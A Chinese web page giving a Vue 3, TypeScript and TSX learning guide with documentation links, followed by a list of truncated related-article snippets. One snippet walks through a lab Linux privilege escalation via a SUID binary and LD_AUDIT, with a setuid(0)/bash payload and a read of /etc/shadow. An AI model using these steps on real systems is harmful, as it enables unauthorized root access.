VUE3/TS/TSX入门手册指北

VUE3入门手册

vue3入门

首先 查看 官方文档:https://cn.vuejs.org/guide/quick-start.html

如果有vue2基础,速成课程:https://www.zhoulujun.co/learning-vue3/component.html(官方文档 还是建议 翻一遍)

VUE3深入

首先看源码是个不错的学习手段,限于时间,可以看精略版:https://www.zhoulujun.co/vue3-docs/index.html

从vue2到vue3之路

vue2升级vue3项目经验: https://www.zhoulujun.cn/html/webfront/ECMAScript/vue3/

typescript入门手册:

对于没有CS基础(如JAVA、C#)的同学,建议先看官方手册:

https://www.typescriptlang.org/docs/handbook/intro.html

https://www.tslang.cn/docs/handbook/basic-types.html(中文

其他的入门教程,大同小异,比如:https://ts.xcatliu.com/

对于已入门的同学,需要关注TS这个几个关键点:

  • 内置类型:《TS数据类型(0):一些需要注意的地方笔记+typescript 内置类型》
  • 联合类型、枚举:TS数据类型:类型别名/联合类型/字面量类型/类型推论等纲要、联合枚举类型:从C语言看枚举与联合类型到TypeScript/Python
  • 装饰器:《Typescript装饰器Decorators浅析》、从java注解漫谈到typescript装饰器——注解与装饰器
  • 泛型:《从java泛型来聊typescript泛型变量和泛型》

图书推荐:

TSX入门手册

.jsx是javascript文件并表明使用了JSX语法。

.tsx表明是typescript文件并使用了JSX语法。

JSX 可以更好的描述 UI 应该呈现出它应有交互的本质形式。JSX 看起来有点类似模版语言,但它具有 JavaScript 的全部功能。

JSX在React中使用给我们带来了很大的便利,而TSX,弥补了JSX缺乏类型系统、类型校验等弊端,大大降低了我们代码出错的概率

如何学习JSX

先看官方文档:

  • https://zh-hans.reactjs.org/docs/introducing-jsx.html
  • https://zh-hans.reactjs.org/docs/jsx-in-depth.html

VUE3+TSX

Vue一直都是支持JSX语法的,3.0对TypeScript的支持又非常好,所以我开始尝试用Vue + TSX来做开发。

Vue 3.0相比2.x有一些变化,不能再使用原来的vue-jsx插件。

Vue 3.0也提供了一个对应React.createElement的方法h。但是这个h方法又和vue 2.0以及React都有一些不同。

例如这样一段代码:

<div class={['foo', 'bar']} style={{ margin: '10px' }} id="foo" onClick={foo} />

在vue2.0中会转换成这样:

h('div', {
  class: ['foo', 'bar'],
  style: { margin: '10px' }
  attrs: { id: 'foo' },
  on: { click: foo }
})

可以看到vue会将传入的属性做一个分类,会分为class、style、attrs、on等不同部分。这样做非常繁琐,也不好处理。

在vue 3.0中跟react更加相似,会转成这样:

h('div', {
  class: ['foo', 'bar'],
  style: { margin: '10px' }
  id: 'foo',
  onClick: foo
})

基本上是传入什么就是什么,没有做额外的处理。

当然和React.createElement相比也有一些区别,例如:

  • 子节点不会作为以children这个名字在props中传入,而是通过slots去取,这个下文会做说明。
  • 多个子节点是以数组的形式传入,而不是像React那样作为分开的参数

案例代码:

https://github.com/TencentBlueKing/bkui-vue3

https://github.com/Tencent/tdesign-vue-next

JavaScript基础加强:

https://www.zhoulujun.co/javascript-history/

https://www.zhoulujun.cn/html/webfront/ECMAScript/js6/

本文转载于网络 如有侵权请联系删除

相关文章

  • SAP UI5 应用开发教程之一百零四 - SAP UI5 表格控件的支持复选(Multi-Select)以及如何用代码一次选中多个表格行项目

    作者简介JerryWang,2007年从电子科技大学计算机专业硕士毕业后加入SAP成都研究院工作至今。Jerry是SAP社区导师,SAP中国技术大使。在长达15年的SAP标准产品开发生涯里,Jerry曾经先后参与SAPBusinessByDesign,SAPCRM,SAPCloudforCustomer,SAPS/4HANA,SAPCommerceCloud(电商云)等标准产品的研发工作。Jerry工作中使用ABAP,Java,JavaScript和TypeScript进行开发,对包括SAPUI5在内的多款SAP自研框架有深入的研究。 说明Jerry从2014年加入SAP成都研究院CRMFiori开发团队之后开始接触SAPUI5,曾经在SAP社区和“汪子熙”微信公众号上发表过多篇关于SAPUI5工作原理和源码解析的文章。在Jerry这篇文章对SAPUI5一无所知的新手,从哪些材料开始学习比较好?曾经提到,Jerry也是从SAPUI5菜鸟一路走过来,深知只有ABAP开发背景的开发者,向SAPUI5开发领域转型的不易,因此我在业余时间设计了这份适合SAPUI5不同水平的学习者的学习教程,把

  • 学了几个月的Java,就做出这么个玩意儿?

    一个Java项目,完整的流程有需求分析设计、开发自测、联调、ST、UAT、投产、结项。一个项目又会被拆分成多种多个小项目,无论是中间需求变更也好,还是重构,都需要不断的走这几个流程(除了投产与结项),在项目开发后期才会真正让项目进入最终的阶段。相信很多小伙伴都一样,对着视频敲项目,其中遇到的BUG还能解决,但就是每次敲完一个项目,就感觉很空虚,项目里面的知识点感觉懂了但又好像不完全懂。相信很多小伙伴都会遇到这样一个问题:跟着老师或教程敲代码,很容易;但是想要实现一个完整应用项目却不知道从哪里下手。今天大雄借线下班小伙伴的项目给大家讲解一个Java项目从立项到实现的过程。本次项目从立项到实现用了将近三周的时间,是一个仿吉客云的ERP仓储管理系统。它包含大量不同的模块和功能,对数据库的操作要求比较频繁,在这个系统中,用户可以管理与库存相关的内容,例如类别,消费者ID和供应商详细信息,物料的存储情况以及财务功能。(项目截图)1项目规划1.做什么?做项目之前,首先自然是要了解你做的项目是什么?例如用什么呈现给用户,用什么来存储数据,需要些什么样的系统等。也就是我们常说的需求分析。这点非常重要,

  • LINUX CENTOS7下安装MYSQL5.6

    检查系统中是否已安装mysql检查是否安装mysqlrpm-qa|grepmysql 1复制 注:没有返回信息,说明未安装mysql检查已安装的Mariadbrpm-qa|grep-imariadb 1复制卸载已安装的Mariadb数据库rpm-qa|grepmariadb|xargsrpm-e--nodeps 1复制下载mysql5.6安装包文件wgethttp://repo.mysql.com/mysql-community-release-el7-5.noarch.rpm 1复制安装rpm包rpm-ivhmysql-community-release-el7-5.noarch.rpm 1复制查看可用的mysql安装文件yumrepolistall|grepmysql 1复制安装mysqlyuminstallmysql-server 1复制 检查mysql是否安装成功rpm-qa|grepmysql 1复制启动mysqlsystemctlstartmysqld.service 1复制systemctlrestartmysqld.service#重启 systemctlstopmys

  • Android 1对1直播源码开发,底部导航栏的简单实现

    在Android1对1直播源码开发中,底部导航栏的简单实现有两种方法:1、利用LinearLayout+TextView实现1对1直播源码中底部导航栏的效果。2、利用RadioGroup+RadioButton实现1对1直播源码中底部导航栏的效果。两者的功能代码,基本一致,唯一的区别,也就是:TextView和RadioButton的区别。选择样式中的state_selected和state_checked的区别。下面附上RadioGroup+RadioButton实现的功能代码:1、首先是1对1直播源码中底部导航栏点击效果的实现:tab_menu_channel.xml<?xmlversion="1.0"encoding="utf-8"?> <selectorxmlns:android="http://schemas.android.com/apk/res/android"> <itemandroid:state_checked="true"android:drawable=

  • [转]Java Synchronised机制

    Java中锁的控制可以参看这篇文章:Java多线程抢占。I.原末矛盾1A:重量级锁中的阻塞(挂起线程/恢复线程):需要转入内核态中完成,有很大的性能影响。B:锁大多数情况都是在很短的时间执行完成。解决方案:引入轻量锁(通过自旋来完成锁竞争)。矛盾2A:轻量级锁中的自旋:占用CPU时间,增加CPU的消耗(因此在多核处理器上优势更明显)。B:如果某锁始终是被长期占用,导致自旋如果没有把握好,白白浪费CPU资源。解决方案:JDK5中引入默认自旋次数为10(用户可以通过-XX:PreBlockSpin进行修改),JDK6中更是引入了自适应自旋(简单来说如果自旋成功概率高,就会允许等待更长的时间(如100次自旋),如果失败率很高,那很有可能就不做自旋,直接升级为重量级锁,实际场景中,HotSpot认为最佳时间应该是一个线程上下文切换的时间,而是否自旋以及自旋次数更是与对CPUs的负载、CPUs是否处于节电模式等息息相关的)。矛盾3A:无论是轻量级锁还是重量级锁:在进入与退出时都要通过CAS修改对象头中的MarkWord来进行加锁与释放锁。B:在一些情况下总是同一线程多次获得锁,此时第二次再重新做

  • 使用 Docker 和 Traefik 搭建 Flarum 轻论坛应用

    本文使用「署名4.0国际(CCBY4.0)」许可协议,欢迎转载、或重新修改使用,但需要注明来源。署名4.0国际(CCBY4.0)本文作者:苏洋创建时间:2019年07月16日统计字数:10682字阅读时间:22分钟阅读本文链接:https://soulteary.com/2019/07/16/building-a-flarum-forum-app-with-docker-and-traefik.html使用Docker和Traefik搭建Flarum轻论坛应用最近在做社区类型的项目,出于后续从市场招人成本的考虑,不得不优选市场招聘培养难度较低的PHP,再三挑选,选择了这款还在beta状态的软件。这是一款Beta了差不多5年的软件,在GitHub上拥有接近一万star的耀眼成绩,第一条提交记录是2014年末的v0.1.0-beta发布。本文将介绍使用容器如何简单快速的搭建Flarum,如果你还不熟悉Traefik,请翻阅之前的文章。写在前面关于选型的顾虑,我想此刻看到文章的你,也一定有所考虑。前面提到这款软件还在beta,处于不是特别稳定的状况。而且前一阵主要的贡献者在论坛里发布了一条消

  • 介绍两种提权方式提权

    话不多说,进入正文一、搭建环境1、下载并安装实验机contos62、创建新用户并安装GCCyuminstallgcc yuminstallgcc-c++ useraddtest_dora复制3、切换用户,并查看用户权限与系统版本内核版本sutest_dora id cat/etc/shadow uname -an lsb_release-a复制二、suid提权ll/tmp/-d cd/tmp mkdirtest_dora ll/bin/ping ln-s/bin/ping/tmp/test_dora/target ll/tmp/test_dora/target exec3</tmp/test_dora/target ll/tmp/proc/$$/fd/3 vitestpayload.c void__attribute__(()constructor)init() { setuid(0); system("/bin/bash"); } gcc-w-fPIC-shared-o/tmp/test_dora/testpayload.c LD_AUDIT="\

  • Java 反射基础

    最近在调研Android应用加固方案,涉及大量反射技术,因此趁这个机会总结下Java反射的一些知识。什么是反射?反射是Java语言提供的一种基本功能。通过反射我们可以在运行时动态地操作类或者对象,比如获取某个对象的类定义,获取类声明的属性和方法,调用方法或者构造函数,甚至可以在运行时修改类定义。基本使用方法反射的主要步骤包括:获取目标类型的Class对象通过Class对象分别获取Constructor类对象、Method类对象和Field类对象。通过Constructor、Method和Field分别获取目标类的构造函数、方法和属性的具体信息,并进行后续操作。获取目标类型的Class对象1、Object.getClass()StringBuilderstringBuilder=newStringBuilder("123"); Class<?>classType=stringBuilder.getClass(); System.out.println(classType);//classjava.lang.StringBuilder复制2、T.classC

  • 淘宝客微信机器人搭建教程(Python 3.0版)

    前言什么是淘宝客相信很多人都听过或者接触过各类导购APP、QQ群、微信群分享一些淘宝商品的优惠券或是其他的优惠信息。用户可以在这些渠道上获取到相较于从淘宝平台搜索出来的商品更加优惠的价格或者是领取到面额较大的优惠券。这些渠道,都是属于淘宝客的渠道。淘宝客是淘宝平台推出的一种按成交计费的推广模式,通常也指通过这种模式赚钱的人。前几年淘宝客红火的时候,各类导购网站、导购APP以及优惠券QQ群、微信群层出不穷,在淘宝网在搜索“微信人导购机器”,还可以看到很多商家在售卖淘宝客的微信机器人,能够自动回复群内的人的消息,以及定时推送一些优惠商品信息等。今天,我们就使用哪哪都会出现,哪哪都行的大蟒蛇——Python,来打造一个淘宝客微信机器人,实现在群聊中自动回复搜索并返回商品这一淘宝客导购微信机器人最基本的功能。如何注册方法很简单,在淘宝客的推广平台——阿里妈妈淘宝联盟(http://pub.alimama.com/)上注册一个一个帐号即可,我们可以使用淘宝的账号进行登录。在登录之后,我们可以在“我的联盟”中的“推广管理”中进行推广媒体的设置:在其中,我们可以添加网站、APP、导购、软件的推广等。

  • 畅想 | 托了“共享”的福,我度过了激情又颓废的一天

    共享到底解决了你哪些问题?“叮叮叮叮叮叮......”早上8点,“可怕”的闹钟准时响起。闭着眼睛躺在床上哀嚎了十分钟,终于一鼓作气坐了起来。迷迷糊糊的睁开眼,顺便打量了一下眼前这个陌生的房间。没错,这不是我家。痛苦忙碌的一天从“共享住房”里开始一说到这就生气,昨晚被主编压榨,码字赶稿的深夜11点才下班,可是家离公司又有点远,等到家铁定第二天了。所以无良主编出了个主意,让我下载一个共享住房APP,在公司附近暂时待一晚。可怜当时的我已经困到无力思考,就下载了APP并交了1000大洋的押金,找到了眼前的这间“旅店”,哦不,共享住房。其实吧,在共享住房普及的当下,很多上班族都不再为买房、租房头疼了,因为相较于这些头痛的事,共享住房方便实惠,最贵的住一晚也只要50块,而且随到随住。共享单车很好但是找不到车简单的收拾了一下,带齐东西,转身离开。嗯,看着阳光明媚的天空,昨晚加班的阴霾一下子就散去了。新的一天,新的开始,加油干吧!虽然是在公司附近找的房子,不过步行还是要些时间的。昨晚仗着住的近,我足足把闹钟响铃时间推迟了一个半小时!虽说咱镁客网老板“大气”,不盯着我们上班时间,但主编凶残啊,还是不要迟

  • 谈谈Go语言的反射三定律

    简介 Reflection(反射)在计算机中表示程序能够检查自身结构的能力,尤其是类型。它是元编程的一种形式,也是最容易让人迷惑的一部分。 虽然Go语言没有继承的概念,但为了便于理解,如果一个structA实现了interfaceB的所有方法时,我们称之为“继承”。类型和接口 反射建立在类型系统之上,因此我们从类型基础知识说起。Go是静态类型语言。每个变量都有且只有一个静态类型,在编译时就已经确定。比如int、float32、*MyType、[]byte。如果我们做出如下声明:typeMyIntint variint varjMyInt复制上面的代码中,变量i的类型是int,j的类型是MyInt。所以,尽管变量i和j具有共同的底层类型int,但它们的静态类型并不一样。不经过类型转换直接相互赋值时,编译器会报错。 关于类型,一个重要的分类是接口类型(interface),每个接口类型都代表固定的方法集合。一个接口变量就可以存储(或“指向”,接口变量类似于指针)任何类型的具体值,只要这个值实现了该接口类型的所有方法。一组广为人知的例子是io.Reader和io.Writer,Rea

  • ExtJS4中设置tabpanel的tab高度问题

      最近碰到个问题,在ExtJS中应该如何设置tabpanel的tab的高度?因为默认情况下,tab的高度太矮了,以至于tab的标题底部字都被截掉。设置了个tabpanel.minHeight=‘500’,但是这个仅仅是设置tabpanel的高度,而不是设置tabpanel的每个tab的标题的高度。随后,又改成了minHeight:‘50’,好像效果还是不理想。  如果只是为了每个tab的高度的话,自然tab高度依赖于tabpaenl的高度,tabpanel又依赖于外层组件的高度,如果仅仅把tabpanelrenderTobody的话,那tabpanel在渲染的时候就自动高度了,所以想要它主动扩大高度,必须把tabpanel设置一个高度或者设置一个最小高度。如果在其他容器里的话,比如panel什么里的,只需要把panel的layout设置成fit即可先写CSS样式。<styletype=”text/css”> #tab-id.x-tab-bar-body{height:40px!important;} #tab-id.x-tab-bar-strip{top:38px!i

  • 腾讯云媒体处理禁用工作流api接口

    1.接口描述接口请求域名:mps.tencentcloudapi.com。 禁用工作流。 默认接口请求频率限制:20次/秒。 APIExplorer提供了在线调用、签名验证、SDK代码生成和快速检索接口等能力。您可查看每次调用的请求内容和返回结果以及自动生成SDK调用示例。 2.输入参数以下请求参数列表仅列出了接口请求参数和部分公共参数,完整公共参数列表见公共请求参数。 参数名称 必选 类型 描述 Action 是 String 公共参数,本接口取值:DisableWorkflow。 Version 是 String 公共参数,本接口取值:2019-06-12。 Region 否 String 公共参数,本接口不需要传递此参数。 WorkflowId 是 Integer 工作流ID。 3.输出参数 参数名称 类型 描述 RequestId String 唯一请求ID,每次请求都会返回。定位问题时需要提供该次请求的RequestId。 4.示例示例1禁用工作流禁用工作流19000 输入示例https://mps.tencent

  • Starship Troopers

    StarshipTroopers TimeLimit:10000/5000ms(Java/Other)   MemoryLimit:65536/32768K(Java/Other) TotalSubmission(s):1   AcceptedSubmission(s):1 Font: TimesNewRoman | Verdana | Georgia FontSize: ← → ProblemDescription You,theleaderofStarshipTroopers,aresenttodestroyabaseofthebugs.Thebaseisbuiltunderground.Itisactuallyahugecavern,whichconsistsofmanyroomsconnectedwithtunnels.Eachroomisoccupiedbysomebugs,andtheirbrainshideinsomeoftherooms.Sc

  • FWT(加速位运算卷积)

    FWT FFT是加速加法卷积的一个方法.\(C_i=\sum_{j+k=i}A_j\timesB_k\) FWT是加速位运算卷积的方法.\(C_i=\sum_{j\bigoplusk=i}A_j\timesB_k\) $\bigoplus$可以表示&,|^ //n表示pa,pb两个数组有有2^n个有效元素,下标[0,2^n-1] intmod=998244353; voidFWTor(inta[],inttype) { inti,j,k; for(i=1;i<=n;i++) for(j=0;j<(1<<n);j+=1<<i) for(k=0;k<(1<<i-1);k++) (a[j|(1<<i-1)|k]+=(a[j|k]*type+mod)%mod)%=mod; } voidFWTand(inta[],inttype) { inti,j,k; for(i=1;i<=n;i++) for(j=0;j<(1<<n);j+=1<<i) for(k=0;k<(1<<

  • 网页按钮立体效果CSS实现

      最近学习网页设计,看着那个按钮真的难看,总想搞得好看点,几经摸索和查找,终于搞出一个还将就看的, 迫不及待拿出来跟大家分享下,先看效果,左边那个是按下去的效果。            实现原理:就是利用文本的阴影效果。在CSS中文本的阴影可以设置多个,我这里就用了两个阴影,一个是左上, 一个是右下,为了体现送效果,我把背景设为淡绿。    a.css3d{ color:red;text-align:center; text-decoration:none; background-color:rgb(200,200,200); font-weight:100px; font-size:2em; display:inline-block; padding:4px20px4px20px; border-radius:4px; margin:10px; width:200px; box-shadow:-3px-3px0px#ddd,3px3px0px#333; } a.css3d:active{ box-shadow:3px3px0px#ddd,-3px-3px0px#333; }复制

  • There is no getter for property named &#39;id&#39; in &#39;class java.lang.Integer

    Thereisnogetterforpropertynamed'id'in'classjava.lang.Integer 问题描述: 使用mybatis传入参数,当参数类型是String,Integer等这些时。如果用他的<iftest="id!=nullandid!=''">标签判断该参数是否为空,通常会爆Thereisnogetterforpropertynamed‘id’in‘classjava.lang.Integer异常。 解决思路: 在接口中该方法的参数前加上@Param(“参数名”)注解。例如: List<String>query(@Param(value="id")Integerid);复制   我百度的时候,发现还有人这样解决,不知是否可行,一并摘录下来:在xml文件中应该使用_parameter来代替参数名。例如: <selectid="query"resultMap="BaseResultMap"parameterType="java.lang.Integer"> select <incl

  • 实践中 XunSearch(讯搜)更新索引方案对比

    检测PHP-SDK的运行条件(查看是否支持XunSearch)  $prefix/sdk/php/util/RequiredCheck.php$prefix#替换成你的安装目录   使用XunSearch(讯搜)有很多种使用方法 和更新索引的方法; 搜索语法•查询语句和流行的搜索引擎相似,通过空格把搜索词、句连接起来即可,字段检索使用field:XXX的格式。•允许使用AND/OR/NOT/XOR 等显式地布尔关系组合,可以使用小括号()包围表达优先级。•支持使用双引号对较长搜索词进行精确匹配,要求字段设计时勾选“精确”项。  $search->search(‘杭州西湖’);// 搜索同时包含这2个词的结果  $search->search(‘杭州OR 西湖’);// 搜索包含其中一个词的结果  $search->search(‘subject:杭州西湖’);// 包括西湖并且标题包含杭州的结果获取结果•设置数量及偏移&

  • 【模板】负环

    【模板】负环 题目描述 暴力枚举/SPFA/Bellman-ford/奇怪的贪心/超神搜索 输入输出格式 输入格式:   第一行一个正整数T表示数据组数,对于每组数据: 第一行两个正整数NM,表示图有N个顶点,M条边 接下来M行,每行三个整数abw,表示a->b有一条权值为w的边(若w<0则为单向,否则双向)   输出格式:   共T行。对于每组数据,存在负环则输出一行"YE5"(不含引号),否则输出一行"N0"(不含引号)。   输入输出样例 输入样例#1: 2 34 122 134 231 31-3 33 123 234 31-8 复制 输出样例#1: N0 YE5 复制 说明 N,M,|w|≤200000;1≤a,b≤N;T≤10 建议复制输出格式中的字符串。 此题普通Bellman-Ford或BFS-SPFA会TLE 做法:dfs_spfa 我今天这题一直TLE,觉得真是鬼来了。于是乎我勤(sang)劳(bing)的交了。。。 后面发现边要开到>>4,MDZZ; #include&l

  • 快速构建页面结构的 3D Visualization

    对Chrome扩展功能熟悉的小伙伴,可能都有用过Chrome的3D展示页面层级关系这个功能。可以通过控制台-->右边的三个小点-->MoreTools-->Layers打开。即可以看到页面的一个3D层级关系,像是这样:这个功能有几个不错的作用:页面层级概览快速厘清页面z-index层级之间的关系用于排查一些重绘过程(滚动过程)页面卡顿当然,也会存在一些问题,譬如当页面的DOM数量太多的时候,这个插件有的时候就会卡到无法交互了。同时,虽然可以快速厘清页面z-index层级之间的关系,但是有的时候没法很好的快速看清整个页面嵌套关系。同时,它只能看整个页面的概览,无法选取部分节点进行观察。本文,就将介绍一种,快速通过CSS,构建页面深度关系的3D视图,快速清晰的厘清页面DOM层级及深度之间的关系。并且可以运用在不同的节点单独进行观察。当然,总体而言,是基于:CSS选择器CSS3D属性的一次大规模综合应用,整体看完,相信你能学到不少东西。使用CSS构建3D可视化DOM结构视图假设,我们首先随时实现一段DOM结构,其简单的代码如下:<divclass="g-wr

  • 优质技术网站推荐,持续更新

    技术类: 肖力涛博客xlturing前腾讯优图高级研究员现拼多多算法工程师 https://www.cnblogs.com/xlturing/ 王宏江个人网站,专注Scala,JVM,后台架构。 https://hongjiang.info/ 厦门大学林子雨老师网站: http://dblab.xmu.edu.cn/blog/spark/ 阿里云栖社区spark专栏 https://yq.aliyun.com/topic/69?utm_content=m_17543 摇摆少年梦的技术博客 专注于Scala语言、Akka、Hadoop及Spark大数据处理技术 https://blog.csdn.net/lovehuangjiaju 黑泽君的专栏 https://cloud.tencent.com/developer/column/72638 一个好玩的编程竞赛org https://oi-wiki.org/ 彬彬刷题系统 https://loj.ac/ 分布式系统的一个高质量博客 https://www.cnblogs.com/xybaby/

相关推荐

推荐阅读